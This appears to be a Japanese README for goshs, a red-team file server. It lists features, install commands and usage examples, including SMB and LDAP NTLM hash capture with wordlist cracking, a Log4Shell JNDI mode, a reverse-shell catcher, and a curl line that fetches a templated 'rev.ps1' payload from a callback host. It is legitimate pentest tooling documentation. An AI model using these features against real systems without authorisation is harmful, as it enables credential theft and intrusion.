
レッドチームおよび開発者向けの高機能シングルバイナリファイルサーバー。 HTTP/S · WebDAV · FTP/SFTP · SMB · LDAP/S · NTLMハッシュキャプチャ · DNS/SMTPコールバック · TLS · Auth · 共有リンク。強力なpython3 -m http.serverの代替。
ミッドエンゲージメント中。ファイルを転送したり、SMBハッシュをキャプチャしたり、すぐにHTTPSサーバーを立ち上げたい場合——python3 -m http.serverでは不十分です。
goshs は、PythonのSimpleHTTPServer以上のものが必要だが、Apacheの設定はしたくない、そんな瞬間のために作られたシングルバイナリのファイルサーバーです。HTTP/S、WebDAV、FTP/SFTP、SMB、LDAP/S、ベーシック認証、共有リンク、DNS/SMTPコールバック、NTLMハッシュキャプチャ+クラッキング——すべて1つのコマンドで。


実際に試す: demo.goshs.de

# Serve the current directory on port 8000
goshs
# Serve with HTTPS (self-signed) and basic auth
goshs -s -ss -b user:password
# Capture SMB hashes
goshs -smb -smb-domain CORP
# Capture LDAP credentials and NTLM hashes (with optional wordlist cracking)
goshs -ldap
goshs -ldap -ldap-wordlist /usr/share/wordlists/rockyou.txt
# Catch DNS callbacks and receive emails
goshs -dns -dns-ip 1.2.3.4 -smtp -smtp-domain your-domain.com
# Self-destruct after 2 hours
goshs --ttl 2h
# Run with the interactive terminal dashboard (great for headless SSH sessions)
goshs --tui
# Serve payloads that auto-fill your callback host/port at download time
goshs -i 10.10.14.7 --template --tpl-var LPORT=4444
# fetch rendered: curl 'http://10.10.14.7:8000/rev.ps1?tpl'
詳細なドキュメントはこちらをご覧ください: docs.goshs.de
goshsはbash、fish、zsh用のタブ補完をインストールできます:
goshs --completion bash
goshs --completion fish
goshs --completion zsh
macOSでHomebrewを使用している場合、正しいHomebrewのパスが自動的に使用されます。 インストール後、コマンドは正確なアクティベーション手順を出力します。例:
source ~/.local/share/bash-completion/completions/goshs
バンドルされたWebアセットはコミットされているため、通常のビルドはそのまま動作します:
git clone https://github.com/goshs-labs/goshs.git
cd goshs
go build -o goshs .
JavaScriptまたはSCSSのソースを変更した場合は、まずesbuildとsassがインストールされている状態でアセットを再ビルドします:
make generate
go build -o goshs .
goshsをさらに安全にしてくれた素晴らしい貢献者たちです ❤️
Discordコミュニティに参加して、つながりましょう。
このプロジェクトをPythonで書かれたupdogで刺激してくれたsc0tfreeに特別な感謝を捧げます。
| 📁 ファイル操作 | ダウンロード(HTTP Rangeによる再開可能&シーク可能)、アップロード(ドラッグ&ドロップ、POST/PUT)、削除、一括ZIP、QRコード |
| 🔌 プロトコル | HTTP/S、WebDAV、FTP/SFTP、SMB、LDAP/S |
| 🔒 認証とセキュリティ | ベーシック認証、証明書認証、TLS(自己署名、Let's Encrypt、カスタム証明書)、IPホワイトリスト、ファイルベースACL |
| ⚙️ サーバーモード | 読み取り専用、アップロード専用、削除不可、サイレント、不可視、CLIコマンド実行、TTL自己破棄 |
| 🔗 共有リンク | トークンベースの共有、ダウンロード制限、時間制限 |
| 🎯 コラボレーション/CTF | DNSサーバー、SMTPサーバー、SMB NTLMハッシュキャプチャ+クラッキング、LDAP認証情報キャプチャ+NTLMハッシュクラッキング(Log4Shell向けJNDIモード)、リダイレクトエンドポイント、リバースシェルキャッチャー+ペイロードジェネレーター |
| 🧩 ペイロードテンプレート | {{.LHOST}}/{{.LPORT}} + カスタム --tpl-var 値を、オンデマンドで提供ファイルにレンダリング(?tpl) |
| 🔔 統合 | Webhooks、localhost.run経由のトンネル、設定ファイル、JSON API、mDNS |
| 🖥️ TUIダッシュボード | インタラクティブな全画面ターミナルダッシュボード。HTTP、DNS、SMB、LDAP、SMTP、リバースシェル、クリップボードのライブペイン。ターミナルからシェルをアタッチしてアップグレード。 |
| 🛠️ その他 | ダーク/ライトテーマ、クリップボード、セルフアップデート、ログ出力、ファイル埋め込み、権限のドロップ |
| Method |
|---|
| 🐧 curl | sh | curl -sSfL https://goshs.de/install.sh | sh |
| 🦫 Go | go install goshs.de/goshs/v2@latest |
| 🐉 Kali & Parrot OS | sudo apt install goshs |
| 🎗️ Arch Linux (AUR) | yay -S goshs-bin |
| 🖤 BlackArch | pacman -S goshs |
| 🏔️ Alpine Linux (edge) | apk add goshs |
| 🫙 Snap | snap install goshs |
| 🎩 Fedora / RHEL (COPR) | dnf copr enable goshs-labs/goshs && dnf install goshs |
| 🦎 openSUSE | sudo zypper install goshs |
| ❄️ Nix / NixOS | nix-env -iA nixpkgs.goshs |
| 🍺 Homebrew | brew install goshs |
| 🪟 Scoop | scoop bucket add extras && scoop install extras/goshs |
| 🪟 winget | winget install GoshsLabs.Goshs |
| 🍫 Chocolatey | choco install goshs |
| 🐳 Docker | docker run --rm -it -p 8000:8000 -v "$PWD:/pwd" goshs-labs/goshs:latest -d /pwd |
| 📦 リリース | GitHub Releasesからダウンロード |
![]() | ![]() | ![]() | ![]() | ![]() | ![]() | ![]() | ![]() | ![]() | wooseokdotkim | Guilhem7 |